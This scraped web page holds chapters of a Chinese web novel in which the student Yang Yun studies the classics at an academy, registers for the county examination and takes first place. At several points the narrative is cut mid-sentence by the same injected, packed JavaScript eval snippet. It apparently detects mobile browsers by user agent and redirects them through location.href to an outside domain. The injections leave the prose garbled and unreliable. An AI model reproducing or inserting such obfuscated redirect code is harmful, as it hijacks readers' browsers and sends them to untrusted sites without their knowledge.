这几天卢毅讲的东西，杨云当场能理解消化，下午别人都在揣摩的时候，他已经无所事事，只能温**以前学过的东西，或者练字。 卢毅的眼中闪过一丝诧异之色，皱眉问道： “我讲课的速度不算慢，你把我之前讲的东西都吃透了？” 现下的讲课速度，是卢毅结合内舍学生的能力，经年累月揣摩出来的，杨云竟觉得慢？ 杨云脸上泛起一丝羞涩的笑容，假装不好意思地说： “老师讲课通俗易懂，又上的是刚入门的课，我确实吃透了。” 卢毅之前见过故意在老师面前装样的学生，考杨云几道有关《易经》的题。 没想到杨云不仅答得非常快，还能在他讲课的基础上，进行发散！ 见到杨云竟这么聪明，卢毅皱眉思考片刻，对杨云说： “从今日开始，每天放课之后你来找我，我给你单独再上一个时辰。” 杨云要的正是这个，他连声道谢，满意地从卢毅的房间离开。 看着杨云远去的背影，卢毅的嘴角也渐渐翘起来，孝荣，你给我送来个好学生啊！ 从这一天开始，杨云每天都开小灶，短短十天将《易经》的精义上完，开始跟着卢毅学习八股，策论。 这天写完策论后，杨云揉着发酸发胀的手腕回到学舍。 没想到刚进门，卢汲几人把他按在床上，憋粗嗓子，故意装出凶神恶煞的样子问： “大胆杨云，放课之后偷偷溜走，是去做什么不好的事吗？” 杨云知道这是卢汲他们跟他开玩笑，连连求饶说： “几位好汉饶命，我只是跟卢先生多学些东西而已，罪不至死啊！” 东阳书院的学习氛围很浓，先生开小灶也不是什么罕见事，杨云才说出来。 听到杨云老实交代，卢汲三人才把他放开，方怀礼好奇地问： “杨云，你现下学到哪了？是不是赶上我们的进度了？” 内舍的学生都知道，杨云刚来的时候，不懂五经，老师给他开小灶补课也很正常。 杨云从床上坐起来，活动一下筋骨，漫不经心地说： “五经我已经上完，现下卢先生在指点我八股和策论。” 这下方怀礼几人沉默，他们原以为领先杨云一步，没想到杨云用十天追上。 最终还是席衍长叹一声，颇为哀怨地说： “真是人比人气**，我要是也有杨兄的天赋该多好啊！” 方怀礼点点头，明显也一副羡慕之色，卢汲沉思片刻，忽然问道： “杨兄学习这么刻苦，难道是想参加今年的童试，破小三关？” 听到卢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548686|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汲的话，杨云好奇地看着她，眨眨眼睛问：“什么是小三关？” 同舍的其他三人都不由得都翻个白眼，杨云在学习上很聪明，但有的地方又完全不懂。 方怀礼起身，慢慢地在屋中踱步说： “所谓小三关，是指童试的三步，县试，府试，院试。” “只要过这三关的人，可成为秀才，有朝廷承认的正式功名。” 听完方怀礼的解释，杨云若有所思地点点头，紧接着问道： “那童生呢？童生是个什么功名？” 青山村只有三个童生，村民对他们很尊敬，只是杨云搞不清楚，这到底是个什么功名。 没想到方怀礼嗤笑一声，不屑地说： “所谓童生，只是参加童试失败的落选之人，不值一提。” 东阳书院的内舍学生，全都是冲着秀才举人去的，自然不把童生放在眼里。 明白小三关的意思后，杨云轻轻点头说： “我确实有意参加今年的童试，破小三关。不然咱们一起去，就算没中，也能积攒经验。” 没想到卢汲十分诚恳地对杨云说： “内舍学生确实都有参加童试的实力，但我们都不去，你知道是为什么？” 杨云想半天，没有想出原因，只能摇摇头。 卢汲看着杨云，带着几分神秘说： “因为我们都在养气，养连破三关的锐气！” “童试是个很耗精气的事，若是一次不中，锐气会折去几分；若是多次不中，锐气全消，此生再也中不了秀才。” “若在书院养好锐气，做足准备，不仅中秀才的把握更大，对日后考举人也有帮助。” 杨云略微思量，明白这是在给学生培养自信心， 这样只要中秀才，就算举人连战连败，也能用连破小三关的往事，鼓起信心再战。 方怀礼看到杨云沉默不语，以为他在犹豫，开口劝道： “杨云，不如你再积累一年，跟我们一起参加明年的童试。” 第123章 县试报名 第一百二十三章县试报名 方怀礼的话是十分中肯的建议，以杨云的天赋，只要在书院沉下心学上一年，明年的童试必然是手到擒来。 卢汲和席衍也点头赞同，杨云才刚十九岁，用不着急在这一年。 但杨云想想前段时间，跟周忠在岔路口说的那些话，露出一丝淡淡的笑容， “多谢三位的好意，我还是想在今年试试。” 见到杨云主意已定，卢汲三人不好再劝，只能微微叹气说： “如果杨云你今年能中的话，定然会成为东阳书院，从入院到离院最快之人。” 听卢汲突然提到离院，杨云不由得有些错愕， “为什么要离院？难道参加过童试的人，不许在书院继续读书？” 方怀礼站在床边，摇头对杨云解释说： “当然不是，只是你过来小三关，是秀才。秀才用不着来书院求学了。” 秀才有功名，想要更进一步的办法，是和其他秀才讨论切磋，就算想和书院的老师请教，也能大大方方登门拜访，用不着再来书院吃苦。 了解其中原委之后，杨云心中泛起淡淡的伤感，虽然跟卢汲他们三个认识时间不长，但四人学则同堂，寝则同宿，早已有很深厚的交情。 但杨云很快把这丝伤感压下去，笑着对三人拱拱手说： “那我借三位吉言了，若是考中，请三位吃饭；若是考不中，回来继续读书！” 这下其他三人的心情才算好点，各自上床休息。 转眼数十日过去，这天杨云找到卢毅请假，要去县衙报名，参加今年的童试。 卢毅有些诧异，却什么都没说，给杨云批下条子。 拿着条子从书院出来，杨云飞奔到县城门口，等半天，终于见到周仲和母亲姜梅来了。 周仲远远地看到杨云，立刻冲他摆摆手；姜梅则问些书院的琐事，满脸慈爱之色。 闲聊之后，杨云跟周仲并肩走在一起，随口问道： “师兄，恩师除给你我作保之外，还有三人是谁你知道吗？” 想要参加童试的人，除要有亲供表单，还要有本县的秀才作保，这样才有资格。 杨云和周仲已经拜罗孝荣为师，他们的保人自然是罗孝荣。 每个秀才可以担保五人，另外三人也算是有一分香火情，杨云才会多问一句。 周仲早就了解过这些，立刻说道： “除你我二人之外，恩师担保的有一位本家侄子，罗冠羽及两位本县富户子弟。” 两人说话间，已经来到县衙门前，今天是童试报名的日子，大街上熙熙攘攘到处都是人，周仲昂着头看好半天，才找到罗孝荣。 杨云护着姜梅，跟着周仲一路挤到罗孝荣面前，躬身行礼，“弟子见过恩师。” 见到人到齐，罗孝荣没有着急进去报名，反而先问杨云一些功课，确定没有问题后，才领着五人一起进衙门报名。姜梅没有资格，只能在衙门外等候。 衙役看到罗孝荣身上穿着，代表秀才身份的长衫，简单查验人数后，让几人进去。 进到县衙，有衙役把杨云五人领到一间小房中，里面坐着县衙的户房主事。 他看完五人的亲供表单，简单问几句话后，确定情况都对得上，在浮票上写五人的相貌，贴在考牌后面，让五人出去。 杨云手中拿着考牌，知道这相当于前世的准考证，反复看两遍后，才收起来。 经过这么一番，五人算是报名结束，等到童试开始之日，拿着考牌再来即可。 五人从县衙里领出来，另外三人先行告辞，罗孝荣对周仲和杨云说： “为师准备去平阳府访友，也不知道什么时候才能回来。周仲的课业我不担心，杨云你，若是课业上有什么麻烦，尽可去找卢毅，他会为你答疑解惑的。” 罗孝荣说的是访友，其实是提前去平阳府，为今年的秋闱做准备。 若是秋闱高中，他会进京参加明年春闱，才会说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“云儿，这是娘特意给你煮的溏心蛋，人家都说，吃了溏心蛋能必定高中！” 第124章 进入考院 第一百二十四章进入考院 吃溏心蛋能考上功名，这是东平县的说法，家家户户都会在科举当天，给家里人煮着吃。 杨云当然不信这些，但母亲的一番好意，他也没有拒绝，三下五除二将鸡蛋吃了。 吃过早饭，杨云拿起考试要用的东西和吃食，放在篮子里用布盖上，跟母亲一起出门。 天色尚未大明，街上却已经满是行人，杨云扫一眼，几乎都是参加童试的学子。 随着人群，杨云和姜梅来到县衙的考院前，这里已经是人山人海，除赶考和陪考的人，还有一些机灵的小贩在卖浆子包子溏心蛋，有几分热闹景象。 杨云提着篮子看看四周，有的学子仍旧在看书，想要多学一点，有的学子原地踱步，明显有些焦躁紧张，还有些面无表情地站着，好像已经中秀才。 等到天边第一抹阳光撒下，考院的大门吱吱呀呀慢慢打开，一众衙役大声地嚷嚷着， “送考的人往后站，参加童试的人十人一排，全都站好！” “那些不该带不该拿的东西，趁早扔掉，要是搜出来，赶走！” 有的学子脸上脸色微变，好像没听到一样，继续往前走，按照衙役的话站好。 有的学子则把手悄悄伸到篮子里或者衣服下，扔掉一些纸团。 姜梅看到学子们都站出去，转身为杨云整理一下衣服，轻声叮嘱， “进去以后不要慌，会写的先写，不会的慢慢来，娘在外面等你。” 杨云脸上泛起一抹自信之色，看着考院的方向，信心十足地说： “娘，你用不着等我，早点回去休息就行，这场考试对我来说不算什么。” 童试的第一场是东平县的选拔，考的科目只有帖经，墨义，试帖诗，可以说是科举考试中最简单的一场，杨云要是连这场考试都拿不下，不如回家种地。 看到儿子这么有信心，姜梅脸上的紧张之色没有任何减少，干笑着附和说： “我知道对你不难，但咱们还是要慎重一些，做完之后记得再检查一遍。” 杨云笑着点点头，把母亲的话记下，跟她说一声后，迈步跟学子们站在一排，等着衙役们搜捡。 姜梅站在人群中，远远地看着儿子，脸上的神色又欣慰又有几分焦虑。 一排排的考生被衙役挨个搜捡，在快到杨云的时候，前面一排忽然爆出一阵哀求之声 “各位差官，求求你们给我个机会吧，我以后再不敢了！” 杨云抬头看去，只见一个五十岁左右，头发花白的考生，冲着一名衙役不停作揖。 搜捡的衙役手中拿着一块小小的纸，明显是被搜出来的小抄。 衙役看着半百老人不停冲着他作揖，脸上没有丝毫动容，只是不耐烦地说： “方才已经给过你机会，让你把不该带的东西扔掉，你心存侥幸，非要往里带。” “真当爷们的眼睛是出气的？来人，带他去见知县大人，请知县大人处置！” 老年考生被衙役拖走，哀求之声却萦绕在剩下的考生耳边，那衙役把手中的小抄高高举起，冲着后面的考生喊道： “谁还带着不该带的东西，赶快给我扔掉，不然等搜出来晚了！” 考生们面面相觑，谁都没有吭声，但队伍之外却明显多出一些纸团。 杨云轻轻摇头，年纪越大，记性越差。 这个考生恐怕也是考好几年没考上，才会铤而走险，只是没想到，竟被衙役给搜出来。 衙役们已经不是第一次参加童试搜捡，对考生藏匿小抄的手段知之甚详。 不仅要看内衣上是否有字迹，连带着吃的馒头都要切开，检查里面是不是有夹带。 不少考生对此十分不满，但看着旁边如狼似虎的衙役，只能忍气吞声。 没过多长时间，轮到杨云接受衙役搜捡，他迈步上前，大大方方地站到衙役面前。 衙役自习打量杨云片刻，脸上带着笑容，十分随意地在他身上拍几下，又掀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548688|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开篮子上的布瞥一眼，笑呵呵地指指考院大门， “杨兄弟，你可以进去了。” 见到前面的人查得那么严，轮到他却如此宽松，杨云不由得有些诧异。 衙役似看出杨云心中的疑惑，左右看看，轻声对头说： “杨兄弟，您跟李头的关系那么好，咱们都是自家人，用不着查那么严，进去吧。” 这下杨云才明白过来，搜检的衙役都是李乐山的人，他们知道他和李乐山的关系，才会放得这么宽松。 杨云也没让衙役再仔细搜一遍，轻声道谢后迈步走进考院大门。 大门口放着一张桌子，杨云跟着考生们过去，发号牌的小吏见到考牌上的杨云二字，又看到他是青山村的人，把手换到左边那堆号牌中，笑呵呵地递给杨云。 虽然小吏什么都没说，但杨云心中明白，这人肯定知道他，给他拿个不错的座位。 拿到号牌的学生进入考院，寻找座位。 杨云按照号牌上的天字三十三号找到位置，脸上露出笑容。 正如他猜想的一样，这个座位正好能晒到太阳，但又不会被雨淋到，可以说是上佳位置。 在他准备坐进去的时候，东南角传来一声惨叫， “我的运气怎么这么差！竟分到臭号！” 众考生齐齐转头，有的脸上露出幸灾乐祸的笑容，有的摇头轻声叹息，还有放松许多。 杨云莞尔一笑，这个考生的运气确实够差的。 所谓臭号是挨着厕所的考房，那个位置又臭又脏，还不时有考生解手，嗅觉和听觉被全面打击，根本没办法安心答题、分到臭号基本上根本考不中，只能等明年再来。 笑过之后，杨云走进考房，把篮子放好，将考房中的木板架在墙壁上，用手试试考板架稳，才拿出笔墨砚台放在板子上。 大概过半刻钟之后，所有考生全部入场，各自就座。 杨云听到一声清越明亮的钟响，立刻神色一肃，县试开始。 第125章 县试 第一百二十五章县试 随着钟声响起，衙役将一张张印着号牌数字的白纸发给考生，知县石任远站在考院台阶上，冲着考生们讲一些用心答题之类的官话。 等到白纸发完，钟声再次响起，三名衙役聚着写着考题的板子，缓步从考生面前走过。 杨云提笔先将题目抄在草纸上，等草稿写好之后，再誊抄到答题纸上。 县试一共三道题，第一题是四书题，题目为《论语》中的君子务本，本立而道生。 看到题目后，杨云在心中略微思索，立刻有破题思路，依据《四书集注》分段论述，不一会一篇草稿打好。 但杨云没有着急誊写，而是将文章仔细看一篇，看看没有错字漏字，也没有犯忌的地方，再检查行文之中是否有不通的地方。 确定没问题后，杨云将目光落在第二道五经题上，这道题出自《诗经》中的名篇《关雎》，让考生解释关关雎鸠，在河之洲，窈窕淑女，君子好逑的主旨，并论后妃之德。 这道题对杨云来说，依旧没有任何难度，他沉思片刻，马上有思路，决定从《毛诗序》和《诗经注》入手，结合夫妻人伦大道阐述教化之意。 等这篇稿子写好，已经是日上三竿，考院中所有的学子都在奋笔疾书，衙役们两人一组，不停地在考院中巡视，以防有人**，换卷。 四书题和五经题昨晚，只剩下最后一首试帖诗，杨云的心情轻松不少。 试贴诗的题目以勤学为主旨，要求得书字，五言六韵。 这个题目是试贴诗中最常见的，周仲当初给杨云的那本《试贴诗摘录全集》上，有不少这类的试帖诗，平日练习的时候，周仲也出过这种题目。 杨云心中默默思索，过小半个时辰，写出一首符合要求的试帖诗，韵脚全都押上。 三道题目做完，已经到午饭时分，杨云将答题纸小心翼翼地卷起来放在旁边，用草纸盖上，才把篮子里带着的馒头小菜拿出来，慢慢地吃起来。 吃过午饭，杨云感觉精力恢复很多，把木板擦干净，拿出草纸仔细地审阅着上面的文章和诗词。 能修改的地方立刻修改，文采不足的语句想办法润色，试帖诗中能用典的地方全用上。 写答案杨云花一个时辰左右，修改却足足两个时辰才好。 改好之后，杨云再次看几遍，确定用词，格式，忌讳全都没问题后，才小心翼翼地将答案誊在答题纸上。 杨云知道他的字不好看，写得格外用心，抄完之后，已经离交卷没有多少时间。 他赶紧检查一遍誊抄有没有错误，把答题纸放好，让上面的墨迹以最快速度干透。 墨迹未干交上去，很容易让字迹模糊，这叫斩卷，卷子作废，文采再好也白搭。 等到天边昏黄，考院中响起鼓声，衙役们立刻大声喊道： “考试时间到，所有考生立刻停笔！” 其实这时候大部分考生已经做完题目，等着衙役前来收卷，有的考生连东西都收拾好。 杨云坐在考房中，看着衙役把试卷收走，才把东西装进篮子里，优哉游哉地往外走去。 “王兄，第二道五经题你是怎么答的？我想半天都没想出来。” 一个看起来胖胖的男子，在出考院的时候，轻声问朋友。 他的朋友是个竹竿一般的瘦高个，颇为得意地说： “张兄，题目不是说了吗？君子好逑，你可以把君子之君当作君王之君，这样不能跟后妃联系起来吗？” 听得到两人对话的杨云差点笑出声，瘦子的话明显偏题，要是能中才奇怪。 四周的考生也听出来，个个都憋着笑，走出考院。 杨云跟着人群一起出来，看好方向刚准备回家，却听到母亲姜梅的声音响起，“云儿，这边！” 杨云顺着声音传出的方向看去，却见母亲在送他进考院的地方招手，明显是等一天。 看到母亲竟在，杨云连忙挤过去，话语中带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548689|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分无奈说： “娘，我不是让你回家吗？你在这里等着干什么。” 姜梅脸上泛起笑容，带着几分不好意思说： “反正我回家也没什么事，不如在这里等着你。云儿，你考得怎么样？题目难不难？” 杨云知道母亲是放不下他，也没再多说什么，跟着她一边往家走一边说： “还算不错，题目都挺简单的。此次放榜，我必然榜上有名！” 四周考生听到杨云如此狂妄，纷纷投来目光，杨云没有半点难为情，怡然自若地离开。 看着杨云的背影，有一起来的考生问道：“李兄，刘兄，你们可认得这人是谁？竟敢口出狂言！” 被问道的两人纷纷摇头，眼中带着几分不屑说：“我已经参加过四次童试，以为观之，此等狂妄之人，必然落榜！” 另一人点头附和着说： “李兄所言极是，只有我等谦谦君子方能上榜！等三日之后放榜，我们定要找到此人，好好教教他做人的道理！” 几人约定放榜之日再去找杨云，各自散去。 杨云回到家里，跟姜梅吃顿热饭，第二天一早又回书院读书去。 卢汲等人都知道杨云去参加童试，见到他回来，趁着午饭时间围着他问道： “杨兄，今年童试的题目是什么？” 已经考完，题目自然不是秘密，杨云记性又好，当场给他们复述一遍。 内舍的学生听到题目，脸上都流露出轻松之色，喜笑颜开地说： “若是小三关都是这样的题目，咱们人人都能中秀才。” 剩下的学生纷纷附和，这县试的题目还没有他们平日里的练习难。 见到众人飘飘然的样子，杨云轻轻摇头说： “这只是小三关的第一关，目的是筛去那些读书不认真，滥竽充数之辈，题目自然不会太难。府试和院试才是见真章的时候。” “诸位，莫要生出骄矜之心！” 第126章 文章要诀 第一百二十六章文章要诀 刚才还得意扬扬的学生们，立刻收起笑容，颇为认真地点点头。 东阳书院内舍的学生，都是奔着秀才甚至举人去的，能通县试是理所当然。 对所有读书人来说，最难的一关是院试，这才是卡住大部分人的地方。 若是他们因为县试简单，生出懈怠之心不好好读书，日后想过院试难了。 吃过午饭，杨云没有回学堂，而是来到监舍找到卢毅，十分谦虚地请教， “先生，我在此次县试之中发现我的毛病，想请先生指点一下。” 卢毅抿一口茶，让杨云先坐下，然后才问道： “是五经之上遇到问题？你慢慢说，我来给你讲。” 杨云学习五经时间有点短，但以他的水平，应付小三关前两关没问题。 这次可能是他在县试时，意识某处短板，来找卢毅请教。 看着卢毅关切的眼神，杨云有些不好意思地低下头，喃喃地说： “先生的经意教得极好，我对这方面没有问题。” 卢毅是个好老师，《易经》这样晦涩难懂，博大精深的经典，他都讲得通俗易懂，让杨云在短时间内，把经意提到，跟别的内舍学生差不多的水平。 听到不是经意问题，卢毅眼中闪过一丝诧异，放下茶盏认真地问：“不是经意，那是什么？” 杨云整理一下思绪，看着卢毅说： “先生，学生这次去参加县试，题目不难，很容易做出来了。” “只是我在修改润的时候，发现有些地方明明能改，我却不知道该怎么改才能更好。” “可谓是胸中有千言，下笔无一句，我想请先生教教我，怎么样才能解决这个问题。” 县试的四书题五经题，杨云都答得不错，但他能感觉到他的答案还有改进的余地。 只是囿于种种原因，他想改却不知如何下笔。 这个问题在县试，府试，甚至是院试都不太要紧。 可到乡试或者会试的时候，非常要命。 别人的文章写得花团锦簇，他的文章干干巴巴，谁该上榜谁该落榜，一目了然。 卢毅脸上泛起一丝笑意，夸奖他说：“没想到你已意识到这个问题，很不错。” “书院平时让你们做练习，是让你们明心懂理，知道这圣贤书中讲什么煌煌至理。” “你说的问题，等你们把这些道理学会后，才能跟你们讲的。” “不然你们很可能会坠于这些文章技巧，沦为搬弄文字的诡辩之徒。” 杨云听到卢毅对话，脸上不由得露出一丝失望之色，沮丧地说： “这么说，我还得等好长时间，才能学这些东西？” 看着杨云垂头丧气的样子，卢毅淡淡笑一声，不紧不慢地说： “若是寻常学生，当然得守这样的规矩，但既然你意识到了，那不妨教给你。” 虽然杨云来内舍没多长时间，他的水平却已经在内舍中稳居前三，对这种天资聪颖的学生，当然用不着循规蹈矩。 这下杨云立刻又精神起来，兴奋地看着卢毅，拱手说：“请先生指点！” 卢毅起身在屋中踱几步，对杨云说： “这些技巧我可以教给你，但你不能回去交给同学，不然对他们有害无益。” 这个条件不难，杨云不假思索地答应下来。 看到杨云点头，卢毅才慢慢地说： “《文镜秘府论》中说，写文章要分理周务，叙事以次，义须相接，势必相依。” “也说先理清头绪，再叙述，最后说出你的义，用华丽辞藻造势。” “所谓理直则名正，名正则言顺，言顺则气壮！” “写文章时要先定一个落脚点，这个落脚点要符合圣贤的道理，否则道理不合，你后面写得多好都是白费。” 杨云是个聪明人，被卢毅点拨之后，若有所思地说： “文章有道理，确实能正名，但这个言顺，该怎么才能做到？” 有的人心中藏着一堆一堆的道理，真到说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在众人议论的时候，只听一声让开，衙役提着糨糊和县试榜单来了。 第127章 县试案首 第一百二十七章县试案首 在众多考生紧张期待的眼神中，两个衙役慢吞吞地走到布告栏前，把上面的旧布告打掉，刷上一层薄薄的浆糊，比对好位置，小心地把县试榜单一点点展开，贴好。 考生们立刻一拥而上，想要找到自身的名字，有的人很快找到，不由得惊喜大喊， “李兄，我过了！我过了！我可以参加府试了！” 李兄找两三遍都找不到他的名字，眼泪汪汪地拉过那人， “刘兄，你帮我看看，是不是我看错了，上面怎么会没有我的名字？” 刘兄仔细看两遍，确实没找到李兄的名字，但他又怕打击到朋友，为难地沉默着。 见到刘雄这样的表情，李兄已经猜到结果，大喊一声，挤开人群要去跳河。 刘兄和相熟的几人连忙追上去，免得他真做出什么啥事。 姜梅看榜单公布后，有人欣喜若狂，有人如丧考妣，忍不住心惊肉跳，转头对杨云说： “云儿，咱们这次就算没中，也没必要做傻事，来年再考即可。” 杨云轻笑着对母亲点点头，费劲地挤到前面，抬头就向前几名看去。 在榜单最前面，赫然清清楚楚地写着，第一名，天字三十三号，杨云！ 即便知道他肯定能过，但真看到名字的时候，杨云还是忍不住舒一口气。 他看看四周的人，按住心中的喜意，无悲无喜地从人群中挤出来，来到姜梅低声说： “娘，我过了，还是第一名！” “云儿你是第一名？” 听到儿子不仅过了，还是第一，姜梅满脸惊喜地叫出声来。 她希望杨云能中，但没想到杨云中个第一！ 本次县试第一？ 四周的考生听到姜梅的话，立刻看过来，有人上下打量着杨云，拱拱手说： “原来足下是本次县试案首，恭喜恭喜！” 有些同样上榜的学生听到案首在这里，立刻凑过来， “这位兄台，在下张三，本榜第十九名，不知兄台可否赏脸跟我一起喝杯茶？” “案首兄，我是城东的李四，想请您去得月居吃顿饭……” 四周的考生一下围到杨云身边，都想跟他认识一下。 能中案首的人，胸中必有才学，要是能跟他多多切磋，也能促进自身的学业进步。 姜梅这才认识到她闯了祸，连忙捂住嘴巴。 被这么多人围住，杨云不见半点紧张，他冲着四周的人作个罗圈揖，脸上带着笑容说： “多谢各位抬爱，在下感激不尽。但我得先把这个消息告诉家人，日后若有闲暇，再与各位共谋一醉，告辞。” 这话说得很漂亮，既给众多考生面子，又婉拒他们的邀请。 考生们听到杨云要回家报信，也都表示理解，恭喜几句后各自散开。 趁着这个机会，姜梅拉着杨云往家里跑，等到家里后，姜梅赶忙把门关上，还从门缝里往外看，生怕有人穷追不舍。 看着母亲的怪异举动，杨云不由得茫然地问道：“娘，您这是在干什么？” 姜梅从门缝里没看到追过来的人，长长出一口气，认真地说： “娘看戏里，一旦考中第一名，很多人都会对你穷追不舍，甚至还有人要把女儿嫁给你，娘怕那些人追过来。” 杨云笑着摆摆手说： “娘，那是考中状元，才会被榜下捉婿，我只是县试中第一名，人家有机会才认识我一下，没机会也无所谓。” 过县试算是勉强入童生行列，这种身份在青山村还算个人物，在县城里什么都不是。 听到儿子的解释，姜梅才放下心来，笑呵呵地说：“云儿，你考中县试案首，这是件大喜事。” “娘一会出去买点好酒好菜回来，咱们娘俩好好庆祝一下！” 杨云点点头，既然母亲高兴，那随她，反正一些酒菜也花不了多少钱。 只是杨云没想到，姜梅竟花一两银子，去得月楼订一桌席面，鸡鸭鱼肉，时令蔬菜，足足弄十二个菜。 看门的王伯也被叫过来，三个人好好吃一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559013|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 第二天，杨云起早回到书院。 第三天，上完课后，卢汲等相熟的朋友凑过来，笑嘻嘻地问：“杨兄，昨日是县试放榜，不知你中第几名？” 内舍的人对杨云的才学很清楚，不存在没中的可能，无非是名次高低而已。 杨云嘴角泛起淡淡的笑意，风轻云淡地说： “我的运气还算不错，中县试头名。” 听到杨云中头名，卢汲等人立刻夸张地叫起来，故作惊慌地拱手， “竟是县试案首！我等有眼不识泰山，还请案首恕罪！” 跟杨云相熟的同学也有样学样，躬身跟他‘请罪’。 杨云知道同学们是在玩笑，故意装模作样地端正身子，摆摆手说： “我乃案首，心胸自当宽大，不计较尔等罪过了！” 话未说完，杨云先笑起来。 同学们也都忍不住，哈哈大笑。 卢汲趁此机会凑到杨云身边，嘴角带着一丝坏笑说： “杨兄中案首是件大喜事，是不是该请我等同学沾沾你的喜气？” 方怀礼，席衍等同窗也在一边起哄，学堂里充满少年人的欢声笑语。 杨云也不小气，大手一挥对所有同学说： “午饭之后，一人一包糖炒栗子，我请客！” 这礼不算大，能让同学们心安理得地接受，否则花钱太多，反而同学心里有负担。 学堂里的学生们纷纷叫嚷道：“杨案首大气！” “多谢杨案首！” 在这些内舍学子看来，他们运气好点，一样能中案首，对杨云无嫉妒之心。 吃过午饭，杨云依照约定，请同学们吃糖炒栗子，才笑嘻嘻地来找卢毅。 “先生，这是刚出锅的糖炒栗子，您尝尝味道。” 杨云将刚买的栗子放在卢毅案头，眉梢眼角都带着一丝喜意。 卢毅吃饭的时候，已经听说杨云中案首的事，他看着桌上的栗子，歪着脑袋问道： “中了案首，请我吃这个啊？” 第128章 差距 第一百二十八章差距 杨云愣一下，才反应过来卢毅是在跟他开玩笑，眼睛一转，狡黠地笑着说： “千里送鹅毛，礼轻情意重。这栗子看着小，却是学生实实在在的心意。” 听到杨云说出这么一套歪理，卢毅笑着点点头说： “你小子牙尖嘴利，但相比这些东西，我更想看到你好好读书，考**名。” 东阳书院已经十几年没出过进士，杨云是个好苗子，若是能中进士，那才是最好的， 只是中进士这件事太大，卢毅怕杨云背上压力，只是含糊地说考功名。 看着卢毅怅然若失的眼神，杨云收起脸上的笑容，十分郑重地冲着他拱拱手，沉声说： “学生定然全力以赴，不让先生失望。” 就算卢毅不说，杨云也会拼尽全力，只有考**名，他才有资格去办京城那个庞然大物！ 卢毅见到学生这么懂事，眼中闪过一丝欣慰之色，坐在椅子上问道： “你已经过县试，觉得难度如何？” 杨云站在书桌之前，老老实实地对卢毅说： “县试对我来说，易如反掌，内舍的同学们去了，也是探囊取物。” 卢毅没有觉得他狂妄，反而十分赞同地点点头说： “县试只是科举第一步，目的是筛选出识字明理的人，门槛自然不会太高。” “接下来的府试，没有那么简单了。” “你要和整个平源府的童生竞争，这里面藏龙卧虎，稍有不慎会被人挤下去。” 卢毅本身有秀才功名在身，自然对科举上的门道一清二楚。 杨云认真地听完，十分赞同地点头，看着卢毅说： “学生也知道府试和院试很难，特来请教先生，我这学识怎么能更进一步。” 虽然杨云拿县试第一，但他从来没有骄傲自满，甚至放榜第二天已回书院学习。 因为他很清楚，他只是刚踩在科举这条大道上，想要真正迈开步子，还得认真学。 见到学生的心态摆得如此端正，卢毅不由自主地点头，状若无意地问道： “这几日你家里书院两头跑，日常的功课可曾落下？” 杨云稍微想一下，平静地对卢毅说： “未曾拉下。除县试那一日外，学生在家不是揣摩文章技巧，就是练字，从无间断。” 换成别的学生，或许会趁此机会放松一下，杨云却从来没有懈怠。 沉吟片刻后，卢毅提笔在纸上写一道五经题，指着旁边的一张空书桌说： “下午的课你别去上，在这里把这道题做出来。” 杨云轻轻点头，拿起题目坐到书桌后，开始思索该如何破题。 卢毅看着杨云认真的样子，伸手拿一颗栗子，剥开后扔进嘴里，味道还挺甜。 足足一个时辰后，杨云才把题做出来，他拿着答案来到卢毅面前，恭敬地双手呈上， “请先生阅览。” 正在看书的卢毅把手中的书本放下，拿起杨云的文章看一下，脸上带着笑意说： 